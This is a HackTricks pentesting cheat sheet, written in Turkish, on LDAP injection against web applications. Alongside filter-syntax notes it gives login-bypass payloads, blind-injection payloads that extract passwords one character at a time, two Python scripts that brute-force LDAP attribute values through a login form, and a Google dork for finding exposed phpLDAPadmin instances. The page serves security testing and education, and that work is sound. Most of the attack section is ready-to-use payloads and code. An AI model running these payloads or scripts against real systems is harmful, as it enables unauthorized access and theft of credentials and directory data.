hacktricks/pentesting-web/ldap-injection.md

9.4 KiB
Raw Blame History

LDAP Injection

LDAP Injection

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - işe alıyoruz! (akıcı yazılı ve sözlü Lehçe gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}

LDAP Injection

LDAP

LDAP'nın ne olduğunu öğrenmek istiyorsanız, aşağıdaki sayfayı ziyaret edin:

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

LDAP Injection, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi doğru bir şekilde temizlemediğinde meydana gelir ve bu, saldırganların yerel bir proxy aracılığıyla LDAP ifadelerini manipüle etmesine olanak tanır; bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

Filtre = ( filtercomp )
Filtrecomp = ve / veya / değil / öğe
Ve = & filtrelist
Veya = |filtrelist
Değil = ! filtre
Filtrelist = 1*filtre
Öğe= basit / mevcut / alt dize
Basit = attr filtretipi assertionvalue
Filtretipi = '=' / '~=' / '>=' / '<='
Mevcut = attr = *
Alt dize = attr ”=” [ilk] * [son]
İlk = assertionvalue
Son = assertionvalue
(&) = Kesin DOĞRU
(|) = Kesin YANLIŞ

Örneğin:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

Veritabanına erişebilirsiniz ve bu, birçok farklı türde bilgi içerebilir.

OpenLDAP: Eğer 2 filtre gelirse, sadece birincisini çalıştırır.
ADAM veya Microsoft LDS: 2 filtre ile bir hata verir.
SunOne Directory Server 5.0: Her iki filtreyi de çalıştırır.

Filtreyi doğru sözdizimi ile göndermek çok önemlidir, aksi takdirde bir hata oluşur. Sadece 1 filtre göndermek daha iyidir.

Filtre & veya | ile başlamalıdır.
Örnek: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Sonra: (&(objectClass=*)(ObjectClass=*)) ilk filtre (çalıştırılan) olacaktır.

Giriş Atlatma

LDAP, şifreyi saklamak için birkaç formatı destekler: açık, md5, smd5, sh1, sha, crypt. Yani, şifreye ne eklerseniz ekleyin, hashlenmiş olabilir.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Listeler

Kör LDAP Enjeksiyonu

Herhangi bir verinin döndürülüp döndürülmediğini kontrol etmek ve olası bir Kör LDAP Enjeksiyonunu doğrulamak için Yanlış veya Doğru yanıtları zorlayabilirsiniz:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Dump data

Ascii harfler, rakamlar ve semboller üzerinde döngü yapabilirsiniz:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Geçerli LDAP alanlarını keşfet

LDAP nesneleri varsayılan olarak birkaç öznitelik içerir ve bu öznitelikler bilgi saklamak için kullanılabilir. Bu bilgiyi çıkarmak için hepsini brute-force ile denemeyi deneyebilirsiniz. Varsayılan LDAP özniteliklerinin bir listesini buradan bulabilirsiniz.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

Özel Kör LDAP Enjeksiyonu ("*" olmadan)

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

Daha Fazla Payload

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

Eğer hackleme kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı yazılı ve sözlü Lehçe gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}